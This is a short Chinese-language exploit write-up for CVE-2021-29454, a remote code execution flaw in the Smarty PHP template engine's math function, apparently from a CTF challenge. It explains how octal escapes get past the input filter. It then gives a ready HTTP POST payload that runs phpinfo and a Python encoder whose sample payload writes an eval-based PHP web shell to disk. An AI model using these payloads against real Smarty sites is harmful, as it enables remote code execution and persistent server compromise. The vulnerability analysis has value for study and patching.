CVE-2021-29454


CVE-2021-29454

该漏洞网上没找到payload,自己审计后发现

链接

CVE链接

https://github.com/smarty-php/smarty/commit/215d81a9fa3cd63d82fb3ab56ecaf97cf1e7db71

Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. Prior to versions 3.1.42 and 4.0.2, template authors could run arbitrary PHP code by crafting a malicious math string. If a math string was passed through as user provided data to the math function, external users could run arbitrary PHP code by crafting a malicious math string. Users should upgrade to version 3.1.42 or 4.0.2 to receive a patch.

简单来说就是处理math的地方有洞,可以rce,在题目漏洞影响范围

commit

可以查看CVE的参考的github commit

https://github.com/smarty-php/smarty/commit/215d81a9fa3cd63d82fb3ab56ecaf97cf1e7db71

找到漏洞的php文件 libs/plugins/function.math.php

审计

动态调一下,发现过滤其实很严,对字母和反引号和$符号,过滤很严格,但是单双引号,反斜线等特殊符号没有限制

于是用8进制数字绕过过滤,需要注意转义即可

下面为phpinfo的payload

POST / HTTP/1.1
Host: xxxx
Accept-Encoding: gzip, deflate
Connection: close
Cookie: login=xxxx;
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 90

data={math equation="(\"\\160\\150\\160\\151\\156\\146\\157\")()" }

假的exp

def tooct1(string):
    s = ""
    for i in string:
        if i in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
            s += r"\\{:0o}".format(ord(i))
        elif i in "(),\"":
            s += i
        else:
            s += r"\\{:0o}".format(ord(i))
    return s


payload = """file_put_contents("123.php","<?php eval($_REQUEST[111]);?>")"""
print(tooct1(payload))
# 需要手动加括号,引号,反斜线

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